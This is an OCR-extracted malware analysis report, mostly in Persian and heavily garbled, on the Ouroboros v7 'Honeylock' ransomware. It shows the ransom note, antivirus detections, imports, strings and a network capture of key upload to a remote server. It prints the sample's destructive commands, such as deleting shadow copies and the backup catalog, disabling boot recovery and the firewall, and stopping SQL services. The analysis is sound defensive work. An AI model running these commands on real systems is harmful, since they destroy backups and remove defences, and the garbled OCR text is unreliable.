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Filename.extension.Email=[Honeylock@protonmail.com]ID=[ id].odveta

@ by o 09561 ) Ko 23S o0 ddgs 5L B sl o silisee sl 10 Caliseo slal >l 5o 15600 (ol

-

) @\._/;4 » Computer » ouruvy.bin - | 4 |
d Organize « @ Open Burn Mew folder
-
?l & Favorites MNarne Date modified Type Size
! Bl Desktop m] puruvy.exe 2/4/2020 1:06 PM Application 987 KB
1
& Downloads -
5| Recent Places # " curuvi.exe Properties [&J
o General | Compatibility | Security | Detais | Previous Versions
= Libraries
t| Documents li 1 P p—
| @' Music
i Pictures Type of file:  Application (exe)
E Videos
Description:  ounuv7.exe
1% Computer
? : : Location: . mpmieriiit—
3
1 g..i Network Size: 586 KB (1,010,176 bytes)
q Size ondisk: 988 KB (1,011,712 bytes)
Created Today, February 29, 2020, 1:01:18 AM
Modified: Tuesday, February 04, 2020, 1:06:41 FPM
Accessed: Today, February 29, 2020, 1:01:18 AM
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=aney X
@Qv‘ » Libraries » Pictures » Sample Pictures Dl
Organize ~ | |Open  Shorewith Email  Bum  Mew folder = - 0 @
' Favorites P\cturgs library Amange by: Folder ~
Sample Pictures
=l Libraries
3 Documents — - - - — - - -
& Music
| Pictures
FF videos
Chrysanthemum. Desert.jpg.Email= desktop.ini.Email Hydrangeas,jpg.E  Jellyfish jpg.Email Koala,jpg.Email=[ Lighthouse jpg.E Penguins.jpg.Em
8 Computer jpg.Email=[Hone [Honeylock@pre =[Honeylock@pr mail=[Heoneylock =[Honeylock@pr Honeylock@prot mail=[Honeylock ail=[Honeylock@
. P ylock@protonma | tonmail.com]iD=  otonmail.com]lD  @protenmail.co otonmail.com]lD  onmailcom]lD=[  @protonmail.ca  protonmail.com]l
il.com]ID=[KD2... [KD2U43JBT6L... =[KD2U43JBTéL... m]ID=[KD2U43)... =[KD2U43JBT6L... KD2U43JBTELW... m]ID=[KD2U43)... D=[KD2U43JBT...
&‘j Network
Tulipsjpg.Email= Unlock-Files it
[Honeylock@pro
tonmail.com]ID=
[KD2U43JBT6L...

03 (6138 ey s s diges -¥ Kb
slewl Unlock-Files.txt ob b (sxe Jolb 55" 50, 1, ol sla b a5 sladgs ,a ,5ouruv? A 5elzb

r Y

Your Files Has Been Encrypted

How To Recover

‘Your Data Has Been Encrypted With AES 256 + RSA 2048 Algorithm

IT You Want To Restore Your Files Send Email to Us

Before Paying You Can Send 1MB file For Decryption Test to Make Sure that your Files Can Be Restored
Test File Should Mot Contain Valuable Data ( Databases , Large Excels , Backups )

Do Mot Rename Files or Do Not Try Decrypt Files With 3rd Party Softwares |, It May Damage Your Files
And Increase Decryption Price

The Exact Time of Encryption of Your System is Logged in Our Server

So You Have 48 Hours to Contact and Pay us , After That Decryption Price will be Double

And After 1 Week The Key of Your Files Will be Deleted From Our Servers

Which Means Your Files Will Be Lost permanetly

We Provide Decryption After Payment Because We should Do It For Our Reputation

it We Do Mot Decrypt, Nobody will Pay us so its Bad for Our Business Too

So Dont Be Shy And Contact Us To Get Your Data Back

YourID: KD2U43JBTELW7IO

Our Email : Honeylock@protonmail.com r

How To Buy Bitcoin :

Payment Should Be With Bitcoin
You Can learn how To Buy Bitcoin From This Links :

https://localbitcoins.com/buy bitcoins

https://www.coindesk.com/information/how-can-i-buy-bitcoins L
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bf702c19e8ba00bb311b87d1e7814f6aaf86ae23 SHA-1
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CNT_CODE,
text 4096 740296 | 740296 | 6.65 co7§;iigzggiggg§7a9 MEM_EXECUTE,
MEM_READ
257ddd35cee0dfe619d | CNT_INITIALIZED_
rdata | 745472 | 190836 | 190976 | 4.98 frvveiseraiig DATA, MEM._READ
CNT_INITIALIZED_
data | 937984 | 38448 | 28160 | 4.9 esogigggzégigggima DATA, MEM_READ,
MEM_WRITE
a8e64bc393fe758843¢0 | CNT_INITIALIZED
fsrc | 978944 480 512 | 47l 6948bf118bff DATA, MEM_READ
INITIALIZED DATA,
reloc | 983040 | 48704 | 49152 | 65 504d;82;22§22%18il745 MEM_DISCARDABL
E, MEM_READ

ouruv7? kB wogs maw cwyp ¥

S g0 of VirusTotal asbele ) d9>gn U»g).lgé}T )9 g0 Yo olows a5 A (# olis LQ@»)).}

O8I0 W )gige 5l (S p s 2ol cpl )3 9 Blos S slolis 580y Olgias |, ouruv? Job

ol VirusTotal b ouruv? (Ll bl ass ¥V JKo L aslazusls ouroboros eslgls Sl )58l

54 ) -:_f) 54 engines detected this file
938fM1e5f0299acf00df7 db4ab41f166dbddd42db14b2749e065cd8 1edafic2

° ZX exe

pesxe

runtime-medules

986.50 KB

g5 yug 9 o833 slouruv? b sag b — ¥ JKb

..LQJL;O

2020-02-19 20:48:17 UTC

©ole rguivainb

ol € palo 35 por 4 haio doww o9l Ggix0 9 GOlo Fads alS




Sl ke 0,155

OLLAANY/N = E90 93 9 Gug g bl o L 0UTUVT L18le s 0005 gebans (o) 2 5 A S5

..ch.)u.o

Clean

undetected

Clean
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Clean
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Dangerous
BScope. Trojan.DelShad

Dangerous

Clean

Clean

Danger ‘ous
W32/Ransom MQ.gen'Eldorado

Dangerous
Generic.Ransom.Ourcboros.B486E52D

Dangerous
RansomWin32/0urcboros. PAIMTB

Dangerous
DeepScan-Generic.Ransom.AmnesiaE. B486ES2D
DeepScan-Generic.Ransom.AmnesiaE. B486ES2D

Dangerous
Generic.Ransom.Ourcboros B486E520

Clean

Dangerous
Trojan-Ransom.Ouroboros

Clean

Clean

Dangerous
RDN/Ransom trojan

Dangerous

Dangerous
Trojan-Ransom.Ouroboros

Dangerous
Win32/Fileceder. Ouroboros.D trojan

Dangerous
Generic.Ransom.Ourcboros B486E520

Dangerous
Generic.Ransom.Ouroboros.B486E520

Clean

Dangerous
HEUR/AGEN.1044416

Dangerous

Clean

Clean
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Dangerous
Generic.Ransom.Ourcboros.B486E520
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KERNEL32 dll FindClose, CloseHandle, IstrcmpW, CreateProcessA, GetDriveTypeA,
FindFirstFileW, FindNextFileW, FreeConsole, GetlogicalDrives,
Process32First, Process32Next, GetlLastError, SetlastError,
QueryPerformanceCounter, QueryPerformanceFrequency,
GetCurrentThread, GetThreadTimes, SetEndOfFile,
WaitForSingleObject, TerminateProcess, CreateToolhelp32Snapshot,
OpenProcess, WriteConsoleW, GetProcessHeap,
SetEnvironmentVariableA, FreeEnvironmentStringsW,
GetEnvironmentStringsW, GetOEMCP, IsValidCodePage,
FindMNextFileA, FindFirstFileExA, HeapSize, HeapReAlloc,
SetStdHandle, SetFilePointerEx, ReadConsoleW, ReadFile,
GetConsoleMode, GetConsoleCP, FlushFileBuffers,
WideCharToMultiByte, MultiByteToWideChar, GetStringTypeW,
FormatMessageW, DuplicateHandle, WaitForSingleObjectEx, Sleep,
GetCurrentProcess, SwitchToThread, GetCurrentThreadld,
GetExitCodeThread, CreateFileW, DeleteFileVW, FindFirstFileEx\W,
GetDiskFreeSpaceExW, GetFileAttributesExW,
GetFilelnformationByHandle, RemoveDirectoryW, AreFileApisANSI,
GetModuleHandleW, GetProcAddress, MoveFileEx\W,
EnterCriticalSection, LeaveCriticalSection, TryEnterCriticalSection,
DeleteCriticalSection, EncodePointer, DecodePointer,
InitializeCriticalSectionAndSpinCount, CreateEventW, TisAlloc,
TIsGetValue, TIsSetValue, Tiskree, GetSystemTimeAskileTime,
GetTickCount, CompareStringW, LCMapStringW, GetlocalelnfoW,
GetCPInfo, SetBEvent, ResetEvent, InitializeSListHead,
IsProcessorFeaturePresent, |sDebuggerPresent,
UnhandledExceptionFilter, SetUnhandledExceptionFilter,
GetStartupinfoW, GetCurrentProcessld, CreateTimerQueue,
SignalObjectAndWait, CreateThread, SetThreadPriority,
GetThreadPriority, GetlLogicalProcessorinformation,
CreateTimerQueueTimer, ChangeTimerQueueTimer,
DeleteTimerQueueTimer, GetNumaHighestNodeNumber,
GetProcessAfiinityMask, SetThreadAffinityMask,
RegisterWaitForSingleObject, UnregisterWait, Freelibrary,
FreelLibraryAndExitThread, GetModuleFileNameW, GetModuleHandleA,
LoadLibraryExW, GetfVersionExW, VirtualAlloc, VirtualProtect,
VirtualFree, ReleaseSemaphore, InterlockedPopEntrySList,
InterlockedPushEntrySList, InterlockedFlushSList, QueryDepthSList,
UnregisterWaitEx, LoadLibraryW, RaiseException, RtlUnwind,
ExitProcess, GetModuleHandleExW, ExitThread, GetModuleFileNameA,
GetStdHandle, WriteFile, GetCommandLineA, GetCommandLineW,
GetACP, HeapAlloc, HeapFree, IsValidLocale, GetUserDefaultLCID,
EnumSystemlLocalesW, GetExitCodeProcess, GetFileType,

ADVAPI32 dll CryptReleaseContext, CryptAcquireContextA, CryptGenRandom,

WS2_32 dll WS5ACleanup, WSAStartup, htons, ioctlsocket, closesocket,
freeaddrinfo, getaddrinfo, inet_ntoa, inet_addr, WSAGetLastError,
select, recv, ntohl, htonl, getpeername, connect, socket,
setsockopt, send,
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jmp 0046RZ11h

[esp+10h]

[esp+0Ch]

0h], eax
ICh], edx
, dword ptr [esptlBh]

, Bax

&9+ abii »> Jo b Disassembly 9 Jlowwss!;Ka -\« <
A5810s cpl a8 sas e OLis lalaal 51 slosls oL L ouruv? ol =l Ll E9 i abis Lasl o)

ol 00 abgs CH+ 0L o

bad; owyy  F-)-V
Aas o olis | ouruv? Hl8lel s 4z, 0 slaas, Sl (0 F doax
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C:\ProgramData\ids.txt

C:\ProgramData\Pkey.txt

C:\ProgramData\id.txt

C:\ProgramData\

C:\ProgramData\info.txt

C:\ProgramData\uiapp.exe
C:\Users\LEGION\Desktop\New folder\rijndael_simd.cpp
C:\Users\LEGION\Desktop\New folder\sha_simd.cpp
C:\Users\LEGION\Desktop\New folder\gcm_simd.cpp
C:\Users\LEGION\Desktop\New folder\sse_simd.cpp
https://localbitcoins.com/buy_bitcoins
https://www.coindesk.com/information/how-can-i-buy-bitcoins
IThis program cannot be run in DOS mode.

.rsrc

.exe

.mdf

.pst

.bak

.DBF

.Zip

sqlserver.exe

msftesgl.exe

sglagent.exe

sglbrowser.exe

sqlwriter.exe

mysgld.exe

©ole rguvaib ol € palo 35 por 4 haio doww o9l Ggix0 9 GOlo Fads alS
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mysqgld-nt.exe

mysqld-opt.exe

.EXE

Av,AY,14,0Y

uiapp.exe

Honeylock@protonmail.com

net stop SQLWriter

net stop SQLBrowser

net stop MSSQLSERVER

net stop MSSQL$CONTOSO1

net stop MSDTC

net stop SQLSERVERAGENT

net stop vds

vssadmin delete shadows /all
user@sfml-dev.org
@$www.sfml-dev.org

/ip-provider.php

DELETE

cmd.exe

.com

.exe

.bat

.cmd

D:\Ouroboros v7\Ouroborosv7\Release\Ouroborosv7.pdb
system

file_size

fuck

admin

PASS

FTP Error: Writing to the file has failed
HTTP/

http/

chunked

http//:

https//:

HTTPS protocol is not supported by sf::Http
Connection

Seed

FileStore: error opening file for reading :
FileStore: error reading file

FileSink: error opening file for writing :
FileSink: error writing file

FileStore: maximum seek offset exceeded
FileSink: output stream not opened

Lg Jodxi wlwl wouruv? ,Lé, ow,p Y-V
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command line &l ygiws 9 lassl ;8

e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c net stop SQLWriter
e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c net stop SQLBrowser
e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c net stop MSSQL$CONTOSO1
e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c net stop MSDTC
e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c bededit /set {default}
bootstatuspolicy ignoreallfailures

e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c bededit /set {default}
recoveryenabled no

e C:\Windows\System32\cmd.exe
o Command line: C:\Windows\system32\cmd.exe /c wbadmin delete catalog —quiet
e C:\Windows\System32\cmd.exe
o Command line: C:\Windows\system32\cmd.exe /c net stop SQLSERVERAGENT
e C:\Windows\System32\cmd.exe
e Command line: C:\Windows\system32\cmd.exe /c net stop MSSQLSERVER
e C:\Windows\System32\cmd.exe
o Command line: C:\Windows\system32\cmd.exe /c net stop vds
e C:\Windows\System32\cmd.exe

o Command line: C:\Windows\system32\cmd.exe /c netsh advfirewall set currentprofile
state off

e C:\Windows\System32\cmd.exe
e Command line: C:\Windows\system32\cmd.exe /c netsh firewall set opmode mode=disable

v 355" oo Jlad e |5 SQL ools oKL 4 bgs e slagslasiT s ozl ouruv7 il &ly >
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B C\Windows\system32\cmd.exe |£|E|—Z_h]

The Distributed Transaction Coordinator service is stopping.

) 53lzl bugs Distributed Transaction Coordinator (g s O Jlad e —1\ Jo

yOo.:main thr3@d, midul? ouruv?
Address 1 ! |
BN C\Windows\system32\cmd.exe iﬂlﬁj

The Uirtuwual Disk service is stopping._

| Address [Ualue |1

IN3lzl buwgs Virtual Disk g s O Jlad e -\ Y JSo
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Operation path
=  HKLM\System\CurrentControlSet\Services\NapAgent\Qecs
= HKLM\System\CurrentControlSet\Services\NapAgent\Shas
= HKLM\System\CurrentControlSet\Services\Tcpip\Parameters
= HKLM\System\CurrentControlSet\Services\NapAgent\LocalConfig
ReqCreateke =  HKCU\SYSTEM\CurrentControlSet\Control\NetTrace
9 Y| HKCU\System\CurrentControlSet\Control\NetTrace\Session
=  HKLM\System\CurrentControlSet\services\napagent\LocalConfig\Enroll\HcsGroups
= HKLM\System\CurrentControlSet\services\napagent\Local Config\UI
=  HKLM\BCD00000000\Objects\{64e91fe3-0aa9-11e8-b0e9-
83753d9bc567}H Elements\250000e0
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\LanguageL.ist
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%)\system32\dhcpgec.dll,-100
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\dhcpgec.dll,-101
3 HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\dhcpgec.dll,-102
3 HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\dhcpgec.dll,-103
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%)\system32\eapqec.dll,-100
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-102
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\eapqgec.dll,-103
. HKCU\Software\Classes\Local
RegSetValue

Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%)\system32\napipsec.dll,-2
o HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\napipsec.dil,-3
o HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4
o HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-100
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-101
. HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\tsgqec.dll,-102
o HKCU\Software\Classes\Local
Settings\MuiCache\112\52C64B7E\@%SystemRoot%\system32\tsggec.dll,-103

. HKLM\BCDO00000000\Objects\{64e91fe3-0aa9-11e8-b0e9-
83753d9bc56 7 Elements\16000009\Element
. HKLM\BCDO00000000\Objects\{64e91fe3-0aa9-11e8-b0e9-

83753d9bc56 7} Elements\250000e0\Element

oo sguiadnb
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e  C:\Windows\System32\cryptsp.dll

e C:\Windows\System32\rsaenh.dll

e C:\Windows\System32\mswsock.dll

e C:\Windows\System32\user32.dll

e C:\Windows\System32\gdi32.dll

e  C:\Windows\System32\Ipk.dll

e C:\Windows\System32\usp10.dll

e C:\Windows\System32\imm32.dll

e C:\Windows\System32\msctf.dll

e C:\Windows\System32\WSHTCPIP.DLL
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e C:\Program Files\Microsoft Analysis Services\AS

OLEDB\110\msmdlocal.dll.Email=[Honeylock@protonmail.com] ID=[QDKM24ABWZP9CHU].odveta"
. C:\Program Files\Microsoft

Office\OfficelS\EXCEL.EXE.EmaiI:[Honeylock@protonmail.com]ID=[QDKM24ABWZP9CHU].odveta"

. C:\Program Files\Cracker Tools 2.3 By
indo\Debuggers\OIIyDBGZI\WIN32.HLP.EmaiI=[Honey|ock@protonmaiI.com]ID:[QDKMZAABWZPQCHU].odveta"

e C:\Program Files\Cracker Tools 2.3 By yildo\Debuggers\R4ndoms_OIllyDBG\Win32Help
FiIes\WIN32.HLP.EmaiI:[Honeylock@protonmaiI.com]ID:[QDKMZAABWZPQCHU].odveta"

e  C:\malware\testdump\fullmemory

dumpvurten.dmp.EmaiI=[H0neylock@protonmaiI.com]ID:[QDKM24ABWZP9CHU].odveta"

. C:\Program Files\Microsoft
Office\Templates\1033\IntroducingPowerPoint2010.potx.Email=[Honeylock@protonmail.com]ID=[ QDKM24ABWZP9CHU].

"
odveta

. C:\Program
Files\Graphviz2.38\share\graphviz\examples\world.gv.Email=[Honeylock@protonmail.com]ID=[ QDKM24ABWZP9CHU].od

"
veta
. C:\Program Files\Cracker Tools 2.3 By yildo\unpacker\InstallShield Unpacker\Unpack Smart Install

Maker.swf.Email=[Honeylock@protonmail.com] ID=[QDKM24ABWZP9CHU] .odveta"
. C:\Program Files\Common

FiIes\VMware\Drivers\video_wddm\vm3dg|.d|l.EmaiI=[Honey|ock@protonmaiI.com]ID:[QDKM24ABWZPQCHU].odveta"
. C:\Program Files\Cracker Tools 2.3 By

yildo\Disassemblen\ida61\QtWebKit4.dll.Email=[Honeylock@protonmail.com] ID=[QDKM24ABWZP9CHU].odveta"
e C:\Program Files\Microsoft

Office\Office15\1033\PSRCHSRN.DAT.Email=[Honeylock@protonmail.com] ID:[QDKM24ABWZP9CHU].odveta"
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. C:\Program Files\Common Files\microsoft

shared\TRANSLAT\ESEN\MSBlESEN.ITS.EmaiI=[Honey|0ck@pr0tonmaiI.com]ID:[QDKM24ABWZP9CHU].odveta"

. C:\Program Files\Cracker Tools 2.3 By
yiIdo\Debuggers\JangOLLy\dbgheIp.dII.EmaiI:[Honeylock@protonmaiI.com]ID:[QDKM24ABWZP9CHU].odveta"

e  C:\Program Files\Cracker Tools 2.3 By yildo\Debuggers\NewWave
V4BETA\Lib\mfco42ud.Iib.EmaiI=[Honeylock@protonmaiI.com]ID:[QDKM24ABWZPQCHU].odveta"

e  C:\Program Files\Cracker Tools 2.3 By
yildo\Disassemblen\DOT_Reter_Decompiler\Ki.Decompiler.pdb.Email=[Honeylock@protonmail.com]ID=[QDKM24ABWZP
QCHU].odveta"

e C:\Program Files\Cracker Tools 2.3 By yildo\Debuggers\NewWave

V4BETA\Lib\mfco42d.lib.Email=[Honeylock@protonmail.com] ID:[QDKM24ABWZP9CHU].odveta"

. C:\Program Files\IDA Free\ida.WII.EmaiI=[Honey|ock@pr0t0nmaiI.com]ID:[QDKM24ABWZP9CHU].odveta"
e  C:\Program Files\Microsoft

Office\Officel5\M EDIA\DefauItHoId.wma.EmaiI:[Honeylock@protonmail.com]ID=[QDKM24ABWZP9CHU].odveta"
. C:\Program Files\Microsoft

Office\Officel5\PUBWIZ\WEBPAGE.DPV.Email=[Honeylock@protonmail.com] ID=[QDKM24ABWZP9CHU].odveta"

. C:\Program Files\Cracker Tools 2.3 By
yildo\Disassembler\Net_Simple_A_E.v1.14.4\Dictionary.txt.Email=[Honeylock@protonmail.com] ID=[QDKM24ABWZP9CH

U].odveta"
. C:\Program Files\Cracker Tools 2.3 By yildo\Debuggers\OllyDgb

4fr33\d|lhelp.dII.EmaiI:[Honeylock@protonmaiI.com]ID=[QDKM24ABWZP9CHU].odveta"

. C:\Program Files\Cracker Tools 2.3 By yildo\Packers\Confuser
v1.9.0.0\M0no.CeciI.pdb.EmaiI=[Honeylock@protonmaiI.com]ID=[QDKM24ABWZP9CHU].odveta"

e  C:\Program Files\Cracker Tools 2.3 By
indo\DecompiIer\uniextract165\bin\wix.dII.EmaiI=[Honey|ock@protonmaiI.com]ID=[QDKM24ABWZP9CHU].odveta"

e  C:\Program Files\Cracker Tools 2.3 By
yiIdo\Disassembler\net_dnSpy\dnIib.dII.EmaiI:[Honeylock@protonmail.com]ID:[QDKM24ABWZP9CHU].odveta"

e  C:\Program Files\Microsoft

Office\OfficelS\MSIPC\ipcsecproc.dII.EmaiI=[Honeyl0ck@protonmaiI.com]ID=[QDKM24ABWZP9CHU].odveta"
. C:\Program Files\Cracker Tools 2.3 By yildo\Web-

TooI\CharIesV3.9.2\jre\Iib\ext\localedata.jar.EmaiI=[Honeylock@protonmaiI.com]ID=[QDKM24ABWZPQCHU].odveta"

. C:\Program Files\Microsoft
Office\OfficelS\ADDINS\UmOutIookAddin.dII.EmaiI=[Honey|ock@protonmaiI.com]ID=[QDKM24ABWZPQCHU].odveta"

e  C:\Program Files\Common Files\microsoft shared\Phone
Tools\12.0\Debugger\target\x86\vsgraphicsexperiment.dll.Email=[Honeylock@protonmail.com]ID=[QDKM24ABWZPI9CHU]
.0dveta"

. C:\Program Files\Cracker Tools 2.3 By
yildo\Debuggers\OllyDBG2I\ollyapi\_python_bindings_swig.pyd.Email=[Honeylock@protonmail.com]ID=[QDKM24ABWZ

P9CHU].odveta"
. C:\Program Files\Microsoft

Office\Officel5\Installed_resources15.xss.Email=[Honeylock@protonmail.com] ID:[QDKMZAABWZPQCHU].odveta"

. C:\Program Files\Cracker Tools 2.3 By
yildo\Disassembler\NET.Reflector.8.4.0.39\Addins\AutoDiagrammer\AutoDiagramer.dll.Email=[Honeylock@protonmail.com

1ID=[QDKM24ABWZPICHU] odveta"

. C:\Prog ramData\Pkey.txt"
. C:\ProgramData\ids.txt"

2a5 0 Ol Y Ko 0 o sl (L3 piew ProgramData (ise o | ola bl 15800 ol

el U3 45 bigs e i OT (slgione a5 03505 slowl idS.AXE Olze b ize Ll 180,

wole rguvaidb el €yl 35 o g dlatio woww ol (seir0 9 (sObo Gods> alS



\l4

Sl ke 0,155

——,
@uv| \/ » Computer » Local Disk (C:) » ProgramData »

E Videos
1M Computer

’i‘j Metwark

. Microsoft DMK

. Microsoft Help

. Mozilla

. MuGet

.. Package Cache

. PreEmptive Solutio
.. regid.1991-06.com
Start Menu
Temnplates

. WMware

|
| info.bdt

== uiapp.exe

| Unlock-Files.tut

ids.txt giie Jsb -\ ¥ JSb

COrganize * E Open - Print Burn Mew folder
-
0 Favorites R [ e . — -
| ids.txt - Motepad
o Application Data
. . ) Help
= Libraries Deskto
A 3 KD2U431BTELWTIO |
[ Documents g Documents
@' Music g Favorites
[E=| Pictures . Microsoft

ol G:L’):Qldgr:)mEma” w)bTQTél,SMJMJ@ oles L;)fg.\s..“uod.:ls \f Jﬁb

——,
@le . » Computer » Local Disk (C:) » ProgramData »

Organize « E Open -

[ Favorites
o Libraries

@ Documents
J‘ Music

[E=] Pictures
E Videos

il Computer

“F MNetwork

Print Burn Mew folder
MName ) r@f ChProgramDatatinfo.txt - Notepad =+
g Application Data File Edit Search VWiew Encoding Language Settings Mac
o Desktop &Eﬁ ee@]|*@lﬁ|ac|ﬂ"h|3
3 Documents = info o K3 |
2 Favorites 1 h{oneylnc]{@protnmnail . SO
. Microsoft 2] EKD2U43JBT&LWTIO

B uiapp.exe

=

| Microsoft DMNX

, Microsoft Help

| Mozilla

; MuGet

| Package Cache

/| PreEmptive Solutions

J regid.1991-06.com.microsoft

J VMware

Start Menu

Templates

ids. bt

Unlock-Files.bd

info.txt Jb -\F J<o
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L
onl a8 e sll C:\ProgramDatal s )3 5w 6,505 Jsbb 158000 (pl a5 sas o Olis V0 S
U¥9 19 L,’J.:T Yy )| UrI 19 tS:"T fy db’9§ UP9 29 aslelow PR ol U’_ﬂ)}l . uiapp.exe IDL: L: dib

mv| _. » Computer » Local Disk (C:) » ProgramData »

Jrganize = Include in library + Share with - Burn Mew falder
Y Favorites Name ’ Date modified Type Size
8 Application Data 7/14/20099:23 AM  File folder
9 Libraries A Desktop 7/14/20099:23 AM  File folder
@ Documents 4 Documents 7/14/2009 9:23 AM File folder
o Music o Favorites 7/14/20099:23 AM  File folder
[&= Pictures 1. Microseft 5/30/2018 2:33 PM File folder
B videos 1. Microsoft DNX 3/1/2020 5:03 PM File folder
1. Microsoft Help 5/30/2018 1:33 PM File folder
M Com puter 1 Mozilla 3/1/2020 5:03 PM File folder
1) NuGet 3/1/2020 5:03 PM File folder
f! Metwork . Package Cache 5/30/2018 2:56 PM File folder
|/ PreEmptive Solutions 3/1/2020 5:03 PM File folder
1 regid.1991-06.com.microsoft 3/1/2020 5:03 PM File folder
g Start Menu 7/14/20099:23 AM  File folder
g Templates 7/14/2009 9:23 AM File folder
1) VMware 3/1/2020 5:03 PM File folder
|| ids.tt 3/1/2020 4:13 PM Text Docurment 1KB
| info.bt 3/1/72020 5:06 PM Text Document 1KB
uiapp.exe 3/1/2020 5:06 PM Application 131 KB
= Unlock: Flles.be SILI2020 505 P Text Document TRE

uiapp.exe Jl=l S -10 J<&
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:TCP Jﬁ'g).; L4

Source Destination Protocol  Length Info
2. 172.21.16.75 148.251.247.174 TCP 66 1153 = 8@ [SYN] Seq=0 Win=8192 Len=08 MS5=146@ W5=256 SACK PERM=1
4. 148.251.247.174 172.21.16.75 TCP 6@ 80 + 1153 [SYN, ACK] Seq=8 Ack=1 Win=64248 Len=8 M55=146@
4. 172.21.16.75 148.251.247.174 TCP 54 1153 = 8@ [ACK] Seq=1 Ack=1 Win=6424@ Len=8
4. 172.21.16.75 148.251.247.174 HTTP 188 GET /ip-provider.php HTTR/1.8
4. 148.251.247.174 172.21.16.75 TCP 6@ 8@ + 1153 [ACK] Seq=1 Ack=135 Win=64248 Len=0
4. 148.251.247.174 172.21.16.75 TCP 27@ 8@ + 1153 [PSH, ACK] Seq=1 Ack=135 Win=64248 Len=216 [TCP segment of a reassembled PDU]
4. 148.251.247.174 172.21.16.75 HTTP 6@ HTTP/1.1 286 OK (text/html)
4. 172.21.16.75 148.251.247.174 TCP 54 1153 =+ 8@ [ACK] 5eq=135 Ack=218 Win=64824 Len=8
4. 172.21.16.75 148.251.247.174 TCP 54 1153 = 8@ [FIN, ACK] Seq=135 Ack=218 Win=64824 Len=8
4. 148.251.247.174 172.21.16.75 TCP 6@ 80 + 1153 [ACK] Seq=218 Ack=136 Win=64239 Len=8
6.. 172.21.16.75 88.82.69.52 TCP 54 1154 + 8@3@ [ACK] Seq=1 Ack=1 Win=64248 Len=0
6.. 172.21.16.75 88.82.69.52 HTTP 2011 POST /1614CEEEC5@A9336EBFA99886CAATATD6811C45D370836A3FATEI1CIEE3926C6C HTTP/1.1 (application/x-www-form-urlencoded)
6.. 80.82.69.52 172.21.16.75 TCP 6@ 8888 = 1154 [ACK] Seq=1 Ack=1461 Win=64248 Len=0
6.. 80.82.69.52 172.21.16.75 TCP 6@ 8880 = 1154 [ACK] Seq=1 Ack=1958 Win=64248 Len=0
1.. 80.82.69.52 172.21.16.75 HTTP 177 HTTR/1.1 266 OK
1. 172.21.16.75 88.82.69.52 TCP 54 1154 =+ 8830 [ACK] 5Seq=1958 Ack=125 Win=64117 Len=@
1.. 80.82.69.52 172.21.16.75 TCP 6@ 8980 = 1154 [ACK] Seq=125 Ack=1959 Win=64239 Len=@

TCP YS9 -18 Yo
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Source Destination Protocol  Length Info
172.21.16.75 172.21.0.8 DNS 76 Standard query @x@cch A www.sfml-dev.org
172.21.16.75 172.21.0.8 DNS 76 Standard query @x@cch A www.sfml-dev.org
172.21.16.75 172.21.0.8 DNS 76 Standard query @x@cch A www.sfml- re
172.21.8.8 172.21.16.75 DNS 92 Standard query response @x@cch A .stml-dev.org A 148.251,247.174
172.21.0.8 172.21.16.75 DNS 92 Standard query response @x@cch A www.sfml-dev.org A 148.251.247.174
172.21.08.8 172.21.16.75 DNS 92 Standard query response @x@ccb A www.sfml-dev.org A 148.251.247.174
o E3
DNS SS9, -\ Y JS
HTTP JS5s,; o
Source Destination Protocol  Length Info
172.21.16.75 148.251.247.174 HTTP 188 GET /ip-provider.php HTTP/1.8
148.251.247.174 172.21.16.75 HTTP 60 HTTP/1.1 206 OK (text/html)
172.21.16.75 HTTP 2011 POST /1614CEEEC50A933GEBFGI0BE6CAATATDGE11CA5D378B6A3FAT11CAER3I926C6C HITP/1.1 (application/x-www-form-urlencoded
8@.82.69.52 172.21.16.75 HTTP 177 HTTP/1.1 280 OK

[* Internet Protocol Version 4, Src:

HTTP JsSg, VA Jsb

148.251.247.174

172.21.16.75, Dst:

I Transmission Control Protocol, Src Port: 1153, Dst Port: 88, Seq: 1, Ack: 1, Len: 134

]

b Internet Protocol Version 4, Src: 172.21.16.75, JDs

[

> content-length: @\r\n

from: userfsfml-dev.orghrin
host: www.sfml-dev.orghrin
user-agent: libsfml-network/2.x\r\n

3

[Full request URI: http://wwiw.sfml-dev.org/ip-provider.php] I

qUEST IAL]
[Response in frame: 28]

e e e

GET Cu»',")éd.) b,.)).o url -\4 d&a‘b

ol g sueee sy

b Transmission Control Protocol, Src Port: 1154, Dst Port: 8688, Seq: 1, Ack: 1, Len: 1957

a
[3

3

connection: closesrin
content-length: 1722\r\n

content-type: application/x-www-form-urlencoded\rin

from: me\rin
host: 88.82.69.52\r\n

user-agent: Libsfml-network/2.x\r\n
\rin

£ull request URL: htt
[HTTP request 1/1]
Response in frame: 38
